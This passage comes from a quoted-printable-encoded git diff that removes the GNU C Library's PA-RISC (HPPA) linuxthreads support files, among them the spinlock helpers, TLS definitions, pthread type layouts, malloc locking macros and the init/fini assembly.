- =A0 specify "__attribute ((aligned(16)))" in the type declaration. =A0=
So,
- =A0 we use a struct containing an array of four ints for the atomic l=
ock
- =A0 type and dynamically select the 16-byte aligned int from the arra=
y
- =A0 for the semaphore. =A0*/
-#define __PA_LDCW_ALIGNMENT 16
-#define __ldcw_align(a) ({ \
- =A0volatile unsigned int __ret =3D (unsigned int) a; =A0 =A0 =A0 =A0 =
=A0 =A0 =A0 =A0 =A0 =A0 =A0\
- =A0if ((__ret & ~(__PA_LDCW_ALIGNMENT - 1)) < (unsigned int) a) =A0 =A0=
 =A0 =A0 \
- =A0 =A0__ret =3D (__ret & ~(__PA_LDCW_ALIGNMENT - 1)) + __PA_LDCW_ALI=
GNMENT; \
- =A0(unsigned int *) __ret; =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0\
-})
-
-/* Spinlock implementation; required. =A0*/
-PT_EI int
-__load_and_clear (__atomic_lock_t *spinlock)
-{
- =A0volatile unsigned int *a =3D __ldcw_align (spinlock);
-
- =A0return __ldcw (a);
-}
-
-/* Emulate testandset */
-PT_EI long int
-testandset (__atomic_lock_t *spinlock)
-{
- =A0return (__load_and_clear(spinlock) =3D=3D 0);
-}
-
-PT_EI int
-lock_held (__atomic_lock_t *spinlock)
-{
- =A0volatile unsigned int *a =3D __ldcw_align (spinlock);
-
- =A0return *a =3D=3D 0;
-}
-
-#endif /* pt-machine.h */
diff --git a/sysdeps/hppa/linuxthreads/tls.h b/sysdeps/hppa/linuxthread=
s/tls.h
deleted file mode 100644
index 3d33a18..0000000
--- a/sysdeps/hppa/linuxthreads/tls.h
+++ /dev/null
@@ -1,163 +0,0 @@
-/* Definition for thread-local data handling. =A0linuxthreads/hppa ver=
sion.
- =A0 Copyright (C) 2005 Free Software Foundation, Inc.
- =A0 This file is part of the GNU C Library.
-
- =A0 The GNU C Library is free software; you can redistribute it and/o=
r
- =A0 modify it under the terms of the GNU Lesser General Public
- =A0 License as published by the Free Software Foundation; either
- =A0 version 2.1 of the License, or (at your option) any later version=
=2E
-
- =A0 The GNU C Library is distributed in the hope that it will be usef=
ul,
- =A0 but WITHOUT ANY WARRANTY; without even the implied warranty of
- =A0 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. =A0See the G=
NU
- =A0 Lesser General Public License for more details.
-
- =A0 You should have received a copy of the GNU Lesser General Public
- =A0 License along with the GNU C Library; if not, write to the Free
- =A0 Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
- =A0 02111-1307 USA. =A0*/
-
-#ifndef _TLS_H
-#define _TLS_H
-
-#ifndef __ASSEMBLER__
-# include <pt-machine.h>
-# include <stdbool.h>
-# include <stddef.h>
-
-/* Type for the dtv. =A0*/
-typedef union dtv
-{
- =A0size_t counter;
- =A0struct
- =A0{
- =A0 =A0void *val;
- =A0 =A0bool is_static;
- =A0} pointer;
-} dtv_t;
-
-#else /* __ASSEMBLER__ */
-# include <tcb-offsets.h>
-#endif /* __ASSEMBLER__ */
-
-
-#if defined HAVE_TLS_SUPPORT
-
-/* Signal that TLS support is available. =A0*/
-# define USE_TLS =A0 =A0 =A0 1
-
-# ifndef __ASSEMBLER__
-
-typedef struct
-{
- =A0dtv_t *dtv;
- =A0void *private;
-} tcbhead_t;
-
-/* Include some syscall information for other headers */
-# =A0include <sysdep.h>
-
-/* This is the size of the initial TCB. =A0*/
-# =A0define TLS_INIT_TCB_SIZE sizeof (tcbhead_t)
-
-/* Alignment requirements for the initial TCB. =A0*/
-# =A0define TLS_INIT_TCB_ALIGN __alignof__ (tcbhead_t)
-
-/* This is the size of the TCB. =A0*/
-# =A0define TLS_TCB_SIZE sizeof (tcbhead_t)
-
-/* This is the size we need before TCB. =A0*/
-# =A0define TLS_PRE_TCB_SIZE sizeof (struct _pthread_descr_struct)
-
-/* Alignment requirements for the TCB. =A0*/
-# =A0define TLS_TCB_ALIGN __alignof__ (struct _pthread_descr_struct)
-
-/* The TLS blocks start right after the TCB. =A0*/
-# =A0define TLS_DTV_AT_TP =A0 =A0 =A0 =A01
-
-/* Return the thread descriptor for the current thread. =A0*/
-# =A0undef THREAD_SELF
-# =A0define THREAD_SELF =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0\
- =A0({ struct _pthread_descr_struct *__self; =A0 =A0 \
- =A0 =A0 =A0 __self =3D __get_cr27(); =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0\
- =A0 =A0 =A0 __self - 1; =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 \
- =A0 })
-
-# =A0undef INIT_THREAD_SELF
-# =A0define INIT_THREAD_SELF(descr, nr) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0\
- =A0({ struct _pthread_descr_struct *__self =3D (void *)descr; =A0 =A0=
 \
- =A0 =A0 =A0 __set_cr27(__self + 1); =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 \
- =A0 =A0 =A0 0; =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0\
- =A0 })
-
-/* Access to data in the thread descriptor is easy. =A0*/
-#define THREAD_GETMEM(descr, member) \
- =A0((void) sizeof (descr), THREAD_SELF->member)
-#define THREAD_GETMEM_NC(descr, member) \
- =A0((void) sizeof (descr), THREAD_SELF->member)
-#define THREAD_SETMEM(descr, member, value) \
- =A0((void) sizeof (descr), THREAD_SELF->member =3D (value))
-#define THREAD_SETMEM_NC(descr, member, value) \
- =A0((void) sizeof (descr), THREAD_SELF->member =3D (value))
-
-/* Install the dtv pointer. =A0The pointer passed is to the element wi=
th
- =A0 index -1 which contain the length. =A0*/
-# =A0define INSTALL_DTV(tcbp, dtvp) \
- =A0((tcbhead_t *) (tcbp))->dtv =3D dtvp + 1
-
-/* Install new dtv for current thread. =A0*/
-# =A0define INSTALL_NEW_DTV(dtv) \
- =A0({ tcbhead_t *__tcbp =3D (tcbhead_t *)__get_cr27(); =A0 =A0\
- =A0 =A0 =A0 __tcbp->dtv =3D dtv; =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0 =A0 =A0 =A0 =A0\
- =A0 })
-
-/* Return dtv of given thread descriptor. =A0*/
-# =A0define GET_DTV(tcbp) \
- =A0(((tcbhead_t *) (tcbp))->dtv)
-
-/* Code to initially initialize the thread pointer. =A0This might need
- =A0 special attention since 'errno' is not yet available and if the
- =A0 operation can cause a failure 'errno' must not be touched. =A0*/
-# =A0define TLS_INIT_TP(tcbp, secondcall) \
- =A0({ __set_cr27(tcbp); 0; })
-
-/* Return the address of the dtv for the current thread. =A0*/
-# =A0define THREAD_DTV() =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 \
- =A0({ tcbhead_t *__tcbp =3D (tcbhead_t *)__get_cr27(); =A0 =A0\
- =A0 =A0 =A0 __tcbp->dtv; =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0 =A0 =A0 =A0 =A0 =A0\
- =A0 })
-
-# define TLS_MULTIPLE_THREADS_IN_TCB 1
-
-/* Get the thread descriptor definition. =A0This must be after the
- =A0 the definition of THREAD_SELF for TLS. =A0*/
-# =A0include <linuxthreads/descr.h>
-
-# endif /* __ASSEMBLER__ */
-
-#else
-
-# ifndef __ASSEMBLER__
-
-typedef struct
-{
- =A0void *tcb;
- =A0dtv_t *dtv;
- =A0void *self;
- =A0int multiple_threads;
-} tcbhead_t;
-
-/* Get the thread descriptor definition. =A0*/
-# =A0include <linuxthreads/descr.h>
-
-# =A0define NONTLS_INIT_TP \
- =A0do {
 =A0 =A0 =A0 =A0 \
- =A0 =A0static const tcbhead_t nontls_init_tp =3D { .multiple_threads =
=3D 0 }; \
- =A0 =A0INIT_THREAD_SELF(&nontls_init_tp, 0); =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0\
- =A0} while (0)
-
-# endif /* __ASSEMBLER__ */
-
-#endif /* HAVE_TLS_SUPPORT */
-
-#endif /* tls.h */
diff --git a/sysdeps/unix/sysv/linux/hppa/linuxthreads/aio_cancel.c
b/sysdeps/unix/sysv/linux/hppa/linuxthreads/aio_cancel.c
deleted file mode 100644
index 0d6da82..0000000
--- a/sysdeps/unix/sysv/linux/hppa/linuxthreads/aio_cancel.c
+++ /dev/null
@@ -1,33 +0,0 @@
-#include <shlib-compat.h>
-
-#define aio_cancel64 XXX
-#include <aio.h>
-#undef aio_cancel64
-#include <errno.h>
-
-extern __typeof (aio_cancel) __new_aio_cancel;
-extern __typeof (aio_cancel) __old_aio_cancel;
-
-#define aio_cancel =A0 =A0 __new_aio_cancel
-
-#include <sysdeps/pthread/aio_cancel.c>
-
-#undef aio_cancel
-strong_alias (__new_aio_cancel, __new_aio_cancel64);
-versioned_symbol (librt, __new_aio_cancel, aio_cancel, GLIBC_2_3);
-versioned_symbol (librt, __new_aio_cancel64, aio_cancel64, GLIBC_2_3);
-
-#if SHLIB_COMPAT (librt, GLIBC_2_1, GLIBC_2_3)
-
-#undef ECANCELED
-#define aio_cancel =A0 =A0 __old_aio_cancel
-#define ECANCELED =A0 =A0 =A0125
-
-#include <sysdeps/pthread/aio_cancel.c>
-
-#undef aio_cancel
-strong_alias (__old_aio_cancel, __old_aio_cancel64);
-compat_symbol (librt, __old_aio_cancel, aio_cancel, GLIBC_2_1);
-compat_symbol (librt, __old_aio_cancel64, aio_cancel64, GLIBC_2_1);
-
-#endif
diff --git a/sysdeps/unix/sysv/linux/hppa/linuxthreads/bits/initspin.h
b/sysdeps/unix/sysv/linux/hppa/linuxthreads/bits/initspin.h
deleted file mode 100644
index ff0ec20..0000000
--- a/sysdeps/unix/sysv/linux/hppa/linuxthreads/bits/initspin.h
+++ /dev/null
@@ -1,41 +0,0 @@
-/* PA-RISC specific definitions for spinlock initializers.
- =A0 Copyright (C) 2000, 2001 Free Software Foundation, Inc.
- =A0 This file is part of the GNU C Library.
-
- =A0 The GNU C Library is free software; you can redistribute it and/o=
r
- =A0 modify it under the terms of the GNU Lesser General Public Licens=
e as
- =A0 published by the Free Software Foundation; either version 2.1 of =
the
- =A0 License, or (at your option) any later version.
-
- =A0 The GNU C Library is distributed in the hope that it will be usef=
ul,
- =A0 but WITHOUT ANY WARRANTY; without even the implied warranty of
- =A0 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. =A0See the G=
NU
- =A0 Lesser General Public License for more details.
-
- =A0 You should have received a copy of the GNU Lesser General Public
- =A0 License along with the GNU C Library; see the file COPYING.LIB. =A0=
If not,
- =A0 write to the Free Software Foundation, Inc., 59 Temple Place - Su=
ite 330,
- =A0 Boston, MA 02111-1307, USA. =A0*/
-
-/* Initial value of a spinlock. =A0PA-RISC only implements atomic load
- =A0 and clear so this must be non-zero. */
-#define __LT_SPINLOCK_INIT ((__atomic_lock_t) { { 1, 1, 1, 1 } })
-
-/* Initialize global spinlocks without cast, generally macro wrapped *=
/
-#define __LT_SPINLOCK_ALT_INIT { { 1, 1, 1, 1 } }
-
-/* Macros for lock initializers, not using the above definition.
- =A0 The above definition is not used in the case that static initiali=
zers
- =A0 use this value. */
-#define __LOCK_ALT_INITIALIZER { __LT_SPINLOCK_ALT_INIT, 0 }
-
-/* Used to initialize _pthread_fastlock's in non-static case */
-#define __LOCK_INITIALIZER ((struct _pthread_fastlock){
__LT_SPINLOCK_INIT, 0 })
-
-/* Used in pthread_atomic initialization */
-#define __ATOMIC_INITIALIZER { 0, __LT_SPINLOCK_ALT_INIT }
-
-/* Tell the rest of the code that the initializer is non-zero without
- =A0 explaining it's internal structure */
-#define __LT_INITIALIZER_NOT_ZERO
-
diff --git a/sysdeps/unix/sysv/linux/hppa/linuxthreads/bits/pthreadtype=
s.h
b/sysdeps/unix/sysv/linux/hppa/linuxthreads/bits/pthreadtypes.h
deleted file mode 100644
index 7173718..0000000
--- a/sysdeps/unix/sysv/linux/hppa/linuxthreads/bits/pthreadtypes.h
+++ /dev/null
@@ -1,159 +0,0 @@
-/* Linuxthreads - a simple clone()-based implementation of Posix =A0 =A0=
 =A0 =A0*/
-/* threads for Linux. =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 */
-/* Copyright (C) 1996 Xavier Leroy (Xavier.Leroy@inria.fr) =A0 =A0 =A0=
 =A0 =A0 =A0 =A0*/
-/* =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
*/
-/* This program is free software; you can redistribute it and/or =A0 =A0=
 =A0 =A0*/
-/* modify it under the terms of the GNU Library General Public License=
 =A0*/
-/* as published by the Free Software Foundation; either version 2 =A0 =
=A0 =A0 */
-/* of the License, or (at your option) any later version. =A0 =A0 =A0 =
=A0 =A0 =A0 =A0 */
-/* =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
*/
-/* This program is distributed in the hope that it will be useful, =A0=
 =A0 =A0*/
-/* but WITHOUT ANY WARRANTY; without even the implied warranty of =A0 =
=A0 =A0 */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. =A0See the =A0=
 =A0 =A0 =A0*/
-/* GNU Library General Public License for more details. =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 */
-
-#if !defined _BITS_TYPES_H && !defined _PTHREAD_H
-# error "Never include <bits/pthreadtypes.h> directly; use
<sys/types.h> instead."
-#endif
-
-#ifndef _BITS_PTHREADTYPES_H
-#define _BITS_PTHREADTYPES_H =A0 1
-
-#define __need_schedparam
-#include <bits/sched.h>
-
-/* We need 128-bit alignment for the ldcw semaphore. =A0At most, we ar=
e
- =A0 assured of 64-bit alignment for stack locals and malloc'd data. =A0=
Thus,
- =A0 we use a struct with four ints for the atomic lock type. =A0The l=
ocking
- =A0 code will figure out which of the four to use for the ldcw semaph=
ore. =A0*/
-typedef volatile struct {
- =A0int lock[4];
-} __attribute__ ((aligned(16))) __atomic_lock_t;
-
-/* Fast locks (not abstract because mutexes and conditions aren't abst=
ract). */
-struct _pthread_fastlock
-{
- =A0__atomic_lock_t __spinlock; =A0/* Used by compare_and_swap emulati=
on. =A0Also,
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0ad=
aptive SMP lock stores spin count here. */
- =A0long int __status; =A0 =A0 =A0 =A0 =A0 /* "Free" or "taken" or hea=
d of waiting list */
-};
-
-#ifndef _PTHREAD_DESCR_DEFINED
-/* Thread descriptors */
-typedef struct _pthread_descr_struct *_pthread_descr;
-# define _PTHREAD_DESCR_DEFINED
-#endif
-
-
-/* Attributes for threads. =A0*/
-typedef struct __pthread_attr_s
-{
- =A0int __detachstate;
- =A0int __schedpolicy;
- =A0struct __sched_param __schedparam;
- =A0int __inheritsched;
- =A0int __scope;
- =A0size_t __guardsize;
- =A0int __stackaddr_set;
- =A0void *__stackaddr;
- =A0size_t __stacksize;
-} pthread_attr_t;
-
-
-/* Conditions (not abstract because of PTHREAD_COND_INITIALIZER */
-
-#ifdef __GLIBC_HAVE_LONG_LONG
-__extension__ typedef long long __pthread_cond_align_t;
-#else
-typedef long __pthread_cond_align_t;
-#endif
-
-typedef struct
-{
- =A0struct _pthread_fastlock __c_lock; /* Protect against concurrent a=
ccess */
- =A0_pthread_descr __c_waiting; =A0 =A0 =A0 =A0/* Threads waiting on t=
his condition */
- =A0char __padding[48 - sizeof (struct _pthread_fastlock)
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0- sizeof (_pthread_descr) - sizeof (__=
pthread_cond_align_t)];
- =A0__pthread_cond_align_t __align;
-} pthread_cond_t;
-
-
-/* Attribute for conditionally variables. =A0*/
-typedef struct
-{
- =A0int __dummy;
-} pthread_condattr_t;
-
-/* Keys for thread-specific data */
-typedef unsigned int pthread_key_t;
-
-
-/* Mutexes (not abstract because of PTHREAD_MUTEX_INITIALIZER). =A0*/
-/* (The layout is unnatural to maintain binary compatibility
- =A0 =A0with earlier releases of LinuxThreads.) */
-typedef struct
-{
- =A0int __m_reserved; =A0 =A0 =A0 =A0 =A0 =A0 =A0 /* Reserved for futu=
re use */
- =A0int __m_count; =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0/* Depth of recu=
rsive locking */
- =A0_pthread_descr __m_owner; =A0 =A0 =A0 /* Owner thread (if recursiv=
e or errcheck) */
- =A0int __m_kind; =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 /* Mutex kind: f=
ast, recursive or errcheck */
- =A0struct _pthread_fastlock __m_lock; /* Underlying fast lock */
-} pthread_mutex_t;
-
-
-/* Attribute for mutex. =A0*/
-typedef struct
-{
- =A0int __mutexkind;
-} pthread_mutexattr_t;
-
-
-/* Once-only execution */
-typedef int pthread_once_t;
-
-#if defined __USE_UNIX98 || defined __USE_XOPEN2K
-/* Read-write locks. =A0*/
-typedef struct _pthread_rwlock_t
-{
- =A0struct _pthread_fastlock __rw_lock; /* Lock to guarantee mutual ex=
clusion */
- =A0int __rw_readers; =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 /* Number of=
 readers */
- =A0_pthread_descr __rw_writer; =A0 =A0 =A0 =A0 /* Identity of writer,=
 or NULL if none */
- =A0_pthread_descr __rw_read_waiting; =A0 /* Threads waiting for readi=
ng */
- =A0_pthread_descr __rw_write_waiting; =A0/* Threads waiting for writi=
ng */
- =A0int __rw_kind; =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0/* Reade=
r/Writer preference selection */
- =A0int __rw_pshared; =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 /* Shared be=
tween processes or not */
-} pthread_rwlock_t;
-
-
-/* Attribute for read-write locks. =A0*/
-typedef struct
-{
- =A0int __lockkind;
- =A0int __pshared;
-} pthread_rwlockattr_t;
-#endif
-
-#ifdef __USE_XOPEN2K
-/* POSIX spinlock data type. =A0*/
-typedef __atomic_lock_t pthread_spinlock_t;
-
-/* POSIX barrier. */
-typedef struct {
- =A0struct _pthread_fastlock __ba_lock; /* Lock to guarantee mutual ex=
clusion */
- =A0int __ba_required; =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0/* Threads n=
eeded for completion */
- =A0int __ba_present; =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 /* Threads w=
aiting */
- =A0_pthread_descr __ba_waiting; =A0 =A0 =A0 =A0/* Queue of waiting th=
reads */
-} pthread_barrier_t;
-
-/* barrier attribute */
-typedef struct {
- =A0int __pshared;
-} pthread_barrierattr_t;
-
-#endif
-
-
-/* Thread identifiers */
-typedef unsigned long int pthread_t;
-
-#endif /* bits/pthreadtypes.h */
diff --git a/sysdeps/unix/sysv/linux/hppa/linuxthreads/malloc-machine.h
b/sysdeps/unix/sysv/linux/hppa/linuxthreads/malloc-machine.h
deleted file mode 100644
index 5dc6e6f..0000000
--- a/sysdeps/unix/sysv/linux/hppa/linuxthreads/malloc-machine.h
+++ /dev/null
@@ -1,73 +0,0 @@
-/* HP-PARISC macro definitions for mutexes, thread-specific data
- =A0 and parameters for malloc.
- =A0 Copyright (C) 2003 Free Software Foundation, Inc.
- =A0 This file is part of the GNU C Library.
- =A0 Contributed by Carlos O'Donell <carlos@baldric.uwo.ca>, 2003.
-
- =A0 The GNU C Library is free software; you can redistribute it and/o=
r
- =A0 modify it under the terms of the GNU Lesser General Public
- =A0 License as published by the Free Software Foundation; either
- =A0 version 2.1 of the License, or (at your option) any later version=
=2E
-
- =A0 The GNU C Library is distributed in the hope that it will be usef=
ul,
- =A0 but WITHOUT ANY WARRANTY; without even the implied warranty of
- =A0 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. =A0See the G=
NU
- =A0 Lesser General Public License for more details.
-
- =A0 You should have received a copy of the GNU Lesser General Public
- =A0 License along with the GNU C Library; if not, write to the Free
- =A0 Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
- =A0 02111-1307 USA. =A0*/
-
-#ifndef _MALLOC_MACHINE_H
-#define _MALLOC_MACHINE_H
-
-#undef thread_atfork_static
-
-#include <atomic.h>
-#include <bits/libc-lock.h>
-
-__libc_lock_define (typedef, mutex_t)
-
-/* Since our lock structure does not tolerate being initialized to
zero, we must
- =A0 modify the standard function calls made by malloc */
-# =A0define mutex_init(m) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0\
- =A0 =A0 =A0 __libc_maybe_call (__pthread_mutex_init, (m, NULL), \
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 (((m)->__m_lock.__spinlock =3D
__LT_SPINLOCK_INIT),(*(int *)(m))) )
-# =A0define mutex_lock(m) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0\
- =A0 =A0 =A0 __libc_maybe_call (__pthread_mutex_lock, (m), \
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 (__load_and_clear(&((m)->=
__m_lock.__spinlock)), 0))
-# =A0define mutex_trylock(m) =A0 =A0 \
- =A0 =A0 =A0 __libc_maybe_call (__pthread_mutex_trylock, (m), \
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 (*(int *)(m) ? 1 :
(__load_and_clear(&((m)->__m_lock.__spinlock)), 0)))
-# =A0define mutex_unlock(m) =A0 =A0 =A0\
- =A0 =A0 =A0 __libc_maybe_call (__pthread_mutex_unlock, (m), \
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 (((m)->__m_lock.__spinloc=
k =3D
__LT_SPINLOCK_INIT), (*(int *)(m))) )
-
-/* This is defined by newer gcc version unique for each module. =A0*/
-extern void *__dso_handle __attribute__ ((__weak__));
-
-#include <fork.h>
-
-#ifdef SHARED
-# define thread_atfork(prepare, parent, child) \
- =A0 __register_atfork (prepare, parent, child, __dso_handle)
-#else
-# define thread_atfork(prepare, parent, child) \
- =A0 __register_atfork (prepare, parent, child, =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0\
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 &__dso_handle =3D=3D NULL ? N=
ULL : __dso_handle)
-#endif
-
-/* thread specific data for glibc */
-
-#include <bits/libc-tsd.h>
-
-typedef int tsd_key_t[1]; =A0 =A0 =A0/* no key data structure, libc ma=
gic does it */
-__libc_tsd_define (static, void *, MALLOC) =A0 =A0 /* declaration/comm=
on
definition */
-#define tsd_key_create(key, destr) =A0 =A0 ((void) (key))
-#define tsd_setspecific(key, data) =A0 =A0 __libc_tsd_set (void *, MAL=
LOC, (data))
-#define tsd_getspecific(key, vptr) =A0 =A0 ((vptr) =3D __libc_tsd_get =
(void
*, MALLOC))
-
-#include <sysdeps/generic/malloc-machine.h>
-
-#endif /* !defined(_MALLOC_MACHINE_H) */
diff --git a/sysdeps/unix/sysv/linux/hppa/linuxthreads/pt-initfini.c
b/sysdeps/unix/sysv/linux/hppa/linuxthreads/pt-initfini.c
deleted file mode 100644
index 27f850c..0000000
--- a/sysdeps/unix/sysv/linux/hppa/linuxthreads/pt-initfini.c
+++ /dev/null
@@ -1,109 +0,0 @@
-/* Special .init and .fini section support for HPPA. =A0Linuxthreads v=
ersion.
- =A0 Copyright (C) 2001, 2003 Free Software Foundation, Inc.
- =A0 This file is part of the GNU C Library.
-
- =A0 The GNU C Library is free software; you can redistribute it
- =A0 and/or modify it under the terms of the GNU Lesser General Public
- =A0 License as published by the Free Software Foundation; either
- =A0 version 2.1 of the License, or (at your option) any later version=
=2E
-
- =A0 In addition to the permissions in the GNU Lesser General Public
- =A0 License, the Free Software Foundation gives you unlimited
- =A0 permission to link the compiled version of this file with other
- =A0 programs, and to distribute those programs without any restrictio=
n
- =A0 coming from the use of this file. =A0(The Lesser General Public
- =A0 License restrictions do apply in other respects; for example, the=
y
- =A0 cover modification of the file, and distribution when not linked
- =A0 into another program.)
-
- =A0 The GNU C Library is distributed in the hope that it will be
- =A0 useful, but WITHOUT ANY WARRANTY; without even the implied warran=
ty
- =A0 of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. =A0See th=
e
- =A0 GNU Lesser General Public License for more details.
-
- =A0 You should have received a copy of the GNU Lesser General Public
- =A0 License along with the GNU C Library; see the file COPYING.LIB. =A0=
If not,
- =A0 write to the Free Software Foundation, 59 Temple Place - Suite 33=
0,
- =A0 Boston, MA 02111-1307, USA. =A0*/
-
-/* This file is compiled into assembly code which is then munged by a =
sed
- =A0 script into two files: crti.s and crtn.s.
-
- =A0 * crti.s puts a function prologue at the beginning of the
- =A0 .init and .fini sections and defines global symbols for
- =A0 those addresses, so they can be called as functions.
-
- =A0 * crtn.s puts the corresponding function epilogues
- =A0 in the .init and .fini sections. */
-
-/* If we use the standard C version, the linkage table pointer won't
- =A0 be properly preserved due to the splitting up of function prologu=
es
- =A0 and epilogues. =A0Therefore we write these in assembly to make su=
re
- =A0 they do the right thing. =A0*/
-
-__asm__ (
-"#include \"defs.h\"\n"
-"\n"
-"/*@HEADER_ENDS*/\n"
-"\n"
-"/*@_init_PROLOG_BEGINS*/\n"
-" =A0 =A0 =A0.section .init\n"
-" =A0 =A0 =A0.align 4\n"
-" =A0 =A0 =A0.globl _init\n"
-" =A0 =A0 =A0.type _init,@function\n"
-"_init:\n"
-" =A0 =A0 =A0stw =A0 =A0 %rp,-20(%sp)\n"
-" =A0 =A0 =A0stwm =A0 =A0%r4,64(%sp)\n"
-" =A0 =A0 =A0stw =A0 =A0 %r19,-32(%sp)\n"
-" =A0 =A0 =A0bl =A0 =A0 =A0__pthread_initialize_minimal,%rp\n"
-" =A0 =A0 =A0copy =A0 =A0%r19,%r4 =A0 =A0 =A0 =A0/* delay slot */\n"
-" =A0 =A0 =A0copy =A0 =A0%r4,%r19\n"
-"/*@_init_PROLOG_ENDS*/\n"
-"\n"
-"/*@_init_EPILOG_BEGINS*/\n"
-"/* Here is the tail end of _init. =A0*/\n"
-" =A0 =A0 =A0.section .init\n"
-" =A0 =A0 =A0ldw =A0 =A0 -84(%sp),%rp\n"
-" =A0 =A0 =A0copy =A0 =A0%r4,%r19\n"
-" =A0 =A0 =A0bv =A0 =A0 =A0%r0(%rp)\n"
-"_end_init:\n"
-" =A0 =A0 =A0ldwm =A0 =A0-64(%sp),%r4\n"
-"\n"
-"/* Our very own unwind info, because the assembler can't handle\n"
-" =A0 functions split into two or more pieces. =A0*/\n"
-" =A0 =A0 =A0.section .PARISC.unwind,\"a\",@progbits\n"
-" =A0 =A0 =A0.extern _init\n"
-" =A0 =A0 =A0.word =A0 _init, _end_init\n"
-" =A0 =A0 =A0.byte =A0 0x08, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08\=
n"
-"\n"
-"/*@_init_EPILOG_ENDS*/\n"
-"\n"
-"/*@_fini_PROLOG_BEGINS*/\n"
-" =A0 =A0 =A0.section .fini\n"
-" =A0 =A0 =A0.align 4\n"
-" =A0 =A0 =A0.globl _fini\n"
-" =A0 =A0 =A0.type _fini,@function\n"
-"_fini:\n"
-" =A0 =A0 =A0stw =A0 =A0 %rp,-20(%sp)\n"
-" =A0 =A0 =A0stwm =A0 =A0%r4,64(%sp)\n"
-" =A0 =A0 =A0stw =A0 =A0 %r19,-32(%sp)\n"
-" =A0 =A0 =A0copy =A0 =A0%r19,%r4\n"
-"/*@_fini_PROLOG_ENDS*/\n"
-"\n"
-"/*@_fini_EPILOG_BEGINS*/\n"
-" =A0 =A0 =A0.section .fini\n"
-" =A0 =A0 =A0ldw =A0 =A0 -84(%sp),%rp\n"
-" =A0 =A0 =A0copy =A0 =A0%r4,%r19\n"
-" =A0 =A0 =A0bv =A0 =A0 =A0%r0(%rp)\n"
-"_end_fini:\n"
-" =A0 =A0 =A0ldwm =A0 =A0-64(%sp),%r4\n"
-"\n"
-" =A0 =A0 =A0.section .PARISC.unwind,\"a\",@progbits\n"
-" =A0 =A0 =A0.extern _fini\n"
-" =A0 =A0 =A0.word =A0 _fini, _end_fini\n"
-" =A0 =A0 =A0.byte =A0 0x08, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08\=
n"
-"\n"
-"/*@_fini_EPILOG_ENDS*/\n"
-"\n"
-"/*@TRAILER_BEGINS*/\n"
-);
diff --git a/sysdeps/unix/sysv/linux/hppa/linuxthreads/sysdep-cancel.h
b/sysdeps/unix/sysv/linux/hppa/linuxthreads/sysdep-cancel.h
deleted file mode 100644
index 51d6cf3..0000000
--- a/sysdeps/unix/sysv/linux/hppa/linuxthreads/sysdep-cancel.h
+++ /dev/null
@@ -1,242 +0,0 @@
